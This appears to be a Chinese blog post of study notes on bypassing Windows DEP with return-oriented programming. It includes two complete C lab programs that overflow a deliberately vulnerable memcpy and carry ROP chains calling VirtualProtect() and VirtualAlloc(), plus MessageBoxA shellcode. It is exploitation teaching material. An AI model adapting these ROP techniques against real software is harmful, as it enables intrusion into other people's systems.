zoukankan      html  css  js  c++  java
  • OD: DEP

    一,通过 VirutalProtect() 修改内存属性绕过 DEP

    DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中取指令,则会发生错误。为了解决这个问题,MS 在 kernel32.dll 中提供了修改内存属性的 VirtualProtect() 函数,可以修改可执行属性。故一个新的思路的构造参数并利用 VirutalProtect() 修改 shellcode 为可执行,进而绕过 DEP。

    BOOL VirtualProtect{
        LPVOID lpAddress,        // 需要修改属性的内存的起始地址
        DWORD  dwSize,           // 大小
        DWORD  flNewProtect,     // 新属性,其中可执行可读写属性 PAGE_EXECUTE_READWRITE 值为 0x40
        PDWORD lpflOldProtect    // 原始属性的保存地址
    };

    接下来演示如何动态定位 shellcode,然后通过 VirtualProtect() 修改 shellcode 属性并触发。因为参数中含有 null,为便于演示起见,漏洞函数设为 memcpy(),同时关闭 SafeSEH 和 GS 保护。

    VirtualProtect() 函数的反汇编代码如下:

     1 7C801AD4 > 8BFF             MOV EDI,EDI                      ; ret2libc.004034F8
     2 7C801AD6   55               PUSH EBP
     3 7C801AD7   8BEC             MOV EBP,ESP
     4 7C801AD9   FF75 14          PUSH DWORD PTR SS:[EBP+14]       ; 设置参数 lpflOldProtect
     5 7C801ADC   FF75 10          PUSH DWORD PTR SS:[EBP+10]       ; 设置参数 flNewProtect : 0x40
     6 7C801ADF   FF75 0C          PUSH DWORD PTR SS:[EBP+C]        ; 设置参数 dwSize
     7 7C801AE2   FF75 08          PUSH DWORD PTR SS:[EBP+8]        ; 设置参数 lpAddress
     8 7C801AE5   6A FF            PUSH -1
     9 7C801AE7   E8 75FFFFFF      CALL kernel32.VirtualProtectEx   ; 转入 VirtualProtectEx()
    10 7C801AEC   5D               POP EBP
    11 7C801AED   C2 1000          RETN 10

    由以上反汇编代码可知,只要在 [ebp+0x8] ~ [ebp+0x18] 的位置放置好参数,再转入 0x7C801AD9 就可以关闭 DEP 了。

    接下来布置 shellcode。首先修复被破坏的 ebp(为何修复参见前一篇笔记):push esp, pop ebp, retn 4。

    关闭 DEP 之前需要将 ebp+8 设置为栈帧中的可操作位置,并将 ebp+0x14 设置为一个可写的位置。修复 ebp 之后,esp 指向了 ebp+8 的位置。此时如果能使 esp 指向 ebp+0xC 并 push esp,那么 ebp+8 就位于可操作范围内了。所以先使用一条 retn,既可以使 esp 指向 ebp+0xC,又能掌握程序的控制权。

    shellcode 如下:

    1 "x90x90x90x90x90x90x90x90x90x90x90x90"
    2 ......
    3 "xE5xE0x72x7D"    // return address, adjust ebp : push esp, pop ebp, retn 4
    4 "x40x26xD8x7D"    // retn
    5 "x90x90x90x90"
    6 "x4AxD4xB8x7D"    // push esp call edi

    这里采用上一篇笔记中说到的方法,在第 3 行之前将 edi 指向目标 code,然后布置栈帧,在第 6 行处 call edi 执行目标 code。执行完上述第 6 行的 push esp 后,ebp+8 处的指针就指向可操作的地址了(此时 ebp+8 == esp == [esp+4]),接下来要布置 ebp+0x14,使其指向可写的内存。首先让 esp 指向 ebp+0x14 附近,然后再考虑在 ebp+0x14 写入一个可写的地址。这里用上一篇结尾处提到的技巧:

    1 "x21xAfxCBx7D"    // return address : pop edi retn
    2 "x40x12x5Ax78"    // pop ecx,pop ebx,pop eax,retn
    3 "xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
    4 "x40x26xD8x7D"    // retn
    5 "x90x90x90x90"
    6 "x0AxDCxBAx7D"    // push esp jmp edi(0x785A1240:pop ecx,pop ebx,pop eax,retn)

    如此一来,esp 就指向了 ebp+0x18 的位置,这时只要 push esp,ebp+0x14 就指向 ebp+0x18 了,ebp+0x18 是可写的!push esp 之后,VirtualProtect() 的参数就布置好了,可以修改内存可执行属性了!再次利用已经用过的 jmp eax,使 eip 指向 shellcode 就可以了(将前文的 pop edi 和 jmp edi 中的 edi 用 eax 指令替代了,原因是 rop tramp 需要位于可执行区域,而可执行代码区 eax 的指令较 edi 多,方便寻找):

     1 // ret2libc.cpp : Defines the entry point for the console application.
     2 //
     3 // env
     4 //   * windows xp sp3 with /noexecute=optout
     5 //   * vs2008 with Optimization/GS/SafeSEH disabled
     6 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line
     7 
     8 #include "stdafx.h"
     9 #include <stdlib.h>
    10 #include <string.h>
    11 #include <stdio.h>
    12 #include <windows.h>
    13 
    14 char shellcode[]=
    15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    16 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    17 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    18 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    19 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    20 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    21 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    22 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    23 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    24 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    25 "x90x90x90x90x90x90x90x90x90x90x90x90"
    26 "x94xB0x6Cx7D"    // pop eax retn
    27 "x69x36x5Cx7D"    // pop edi,pop ebx,pop esi,retn
    28 "xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
    29 "x6Cx36x5Cx7D"    // retn
    30 "x90x90x90x90"
    31 "xC6xC6xEBx77"    // push esp jmp eax
    32 "xFFx00x00x00"    // size of memory-to-chmod
    33 "x40x00x00x00"    // attributes of memory-to-chmod
    34 "xC6xC6xEBx77"    // push esp jmp eax
    35 "x90x90x90x90"
    36 "x90x90x90x90"
    37 "xD9x1Ax80x7C"    // chmod memory : VirtualProtect() ends with pop ebp, retn 10
    38 "x90x90x90x90"
    39 "xEBx30x5Ax7D"    // jmp esp
    40 "x90x90x90x90"
    41 "x90x90x90x90"
    42 "x90x90x90x90"
    43 "x90x90x90x90"
    44 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    45 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    46 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    47 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    48 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    49 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    50 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    51 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    52 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    53 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53"
    54 "xFFx57xF8"     // 163 bytes pop window shellcode (MessageBoxA)
    55 ;
    56 void test()
    57 {
    58     char str[168];
    59     memcpy(str,shellcode,425);
    60 }
    61 int main()
    62 {
    63     char tmp[1024];            // 保证栈帧足够长
    64     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));  // for more tramp opcode
    65     //VirtualProtect(0,0,0,0);
    66     test();
    67     return 0;
    68 }

    Hint :

    一,在 /NoExec=OptOut 的情况下,需要通过系统属性将 OllyDbg 添加到 DEP 的白名单中

    二,突破 DEP 之前的踏板指令,需要在可执行区域,这一点害我走了弯路。可以用 OllyFindAddr 插件,如果使用后的 Log 太长不方便看,可以先 Log to File

    三,这里用到的就是传说中的 ROP(Return-Oriented-Programming),利用思路值得掌握!

    四,相关函数需要查看 MSDN

    二,通过 VirutalAlloc() 分配新内存绕过 DEP

    VirtualAlloc() 原型如下(参考 MSDN 很有帮助!):

    1 LPVOID WINAPI VirtualAlloc(
    2         __in_opt  LPVOID  lpAddress,         // 申请内存的地址,若为 NULL,则系统会决定位置,并按 64kb 向上取整
    3         __in      SIZE_T  dwSize,            // 大小
    4         __in      DWORD   flAllocationType,  // 类型(推荐 0x1000)
    5         __in      DWORD   flProtect          // 保护类型,0x40 为可读写、可执行
    6 );

    VirtualAlloc() 和 VirtualProtect() 的实现如出一辙:布置好参数后调用 VirtualAllocEx() 实现功能。其反汇编代码如下:

     1 7C809AE3   55               PUSH EBP
     2 7C809AE4   8BEC             MOV EBP,ESP
     3 7C809AE6   FF75 14          PUSH DWORD PTR SS:[EBP+14]      // flProtect
     4 7C809AE9   FF75 10          PUSH DWORD PTR SS:[EBP+10]      // flAllocationType
     5 7C809AEC   FF75 0C          PUSH DWORD PTR SS:[EBP+C]       // dwSize
     6 7C809AEF   FF75 08          PUSH DWORD PTR SS:[EBP+8]       // lpAddress
     7 7C809AF2   6A FF            PUSH -1                         // 当前进程
     8 7C809AF4   E8 09000000      CALL kernel32.VirtualAllocEx    // VirtualAllocEx() 会平衡第 3-7 行压入的参数,同理第 10 行平衡转入第 1 行前的参数
     9 7C809AF9   5D               POP EBP
    10 7C809AFA   C2 1000          RETN 10

    实验思路为:

    * 构造可溢出的函数

    * 溢出后利用 ROP 转入 VirtualAllocEx() 得到可读写、执行的内存

    * 将 shellcode 复制到得到的内存中

    * 转入 shellcode 执行

    自己写出的实验代码如下:

     1 // ret2libc.cpp : Defines the entry point for the console application.
     2 //
     3 // env
     4 //   * windows xp sp3 with /noexecute=optout
     5 //   * vs2008 with Optimization/GS/SafeSEH disabled
     6 //     Additional Options to disable SafeSEH : /SAFESEH:NO to project_properties - Linker - Command Line
     7 
     8 #include "stdafx.h"
     9 #include <stdlib.h>
    10 #include <string.h>
    11 #include <stdio.h>
    12 #include <windows.h>
    13 
    14 char shellcode[]=
    15 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    16 "x90x90x90x90"
    17 "xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
    18 "xF4x9Ax80x7C"    // VirtualAllocEx()
    19 "x90x90x90x90"
    20 "xFFxFFxFFxFF"    // arg: current process
    21 "x00x40x03x00"    // arg:
    22 "xFFx01x00x00"    // arg: size
    23 "x00x10x00x00"    // arg: type
    24 "x40x00x00x00"    // arg: attrib
    25 "x90x90x90x90"    // VirtualAlloc() returns with pop ebp, retn 0x10
    26 "xE5xE0x72x7D"    // adjust ebp : push esp, pop ebp, retn 4
    27 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    28 "x2Bx72x5Fx7D"    // pop ecx, retn
    29 "x90x90x90x90"    // slide
    30 "xFFx00x00x00"    // pop arg to ecx
    31 "x68xEAx76x7D"    // pop edi retn
    32 "x00x40x03x00"    // pop arg to edi
    33                       // push esp, pop esi, retn 这里为了方便从 shellcode 之前的内存就开始复制,即 esp 指向的地址开始复制
    34 "x94xB0x6Cx7D"    // pop eax retn
    35 "xEFx6Ax71x7D"    // rop: pop esi retn
    36 "xC6xC6xEBx77"    // push esp jmp eax
    37 "x89x17xD3x77"    // REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
    38                       // POP EDI
    39                       // POP ESI
    40                       // POP EBP
    41                       // RETN 4
    42 "x90x90x90x90"    // slide: pop edi
    43 "x90x90x90x90"    // slide: pop esi
    44 "x90x90x90x90"    // slide: pop ebp
    45 "x94xB0x6Cx7D"    // pop eax retn
    46 "x90x90x90x90"    // slide
    47 "x20x40x03x00"    // pop shellcode to eax
    48 "xC7xC6xEBx77"    // jmp eax (shellcode)
    49 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
    50 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
    51 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
    52 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
    53 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
    54 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
    55 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
    56 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
    57 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
    58 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53"
    59 "xFFx57xF8"     // 163 bytes pop window shellcode (MessageBoxA)
    60 ;
    61 void test()
    62 {
    63     char str[16];
    64     memcpy(str,shellcode,400);
    65 }
    66 int main()
    67 {
    68     char tmp[1024];            // 保证栈帧足够长
    69     HINSTANCE hInst = LoadLibrary(_T("shell32.dll"));
    70     //VirtualProtect(0,0,0,0);
    71     //VirtualAlloc((LPVOID)0x00300000,255,0x00001000,0x00000040);
    72     test();
    73     return 0;
    74 }

    这次实验是自己写出来的,几点与原书中的示例不同:

    * 原书直接转入 memcpy() 函数内部完成复制 shellcode 的功能

    * 原书复制完 shellcode 后直接转入目标内存起点执行,因为复制的起始位置在 shellcode 关键代码之前(esp),所以目标内存起点存在脏代码

    * 原书利用 memcpy() 函数中的 pop 操作,巧妙地布置填充数据,消除目标内存起点的脏代码影响

    我自己的思路是布置好 ecx、edi、esi 后直接找到 rep movs 的指令并当作跳板完成 shellcode 的复制,但代码长度还可优化:如 VirtualAlloc() 后 eax 指向了目标内存地址,可以先 mov edi,eax retn。

    另外,熟悉 API 很重要,MSDN 很有价值!

  • 相关阅读:
    web.xml配置详解
    javascript实现的网页打印
    C#实现新建文件并写入内容
    nodeJs学习过程之认识nodejs
    windows下nodejs与coffeeScript环境搭建
    javascript/css压缩工具---yuicompressor使用方法
    verilog描述表决器的两种方式简易分析
    verilog阻塞与非阻塞的初步理解(二)
    verilog阻塞与非阻塞的初步理解(一)
    FIFO学习心得
  • 原文地址:https://www.cnblogs.com/exclm/p/4012166.html
Copyright © 2011-2022 走看看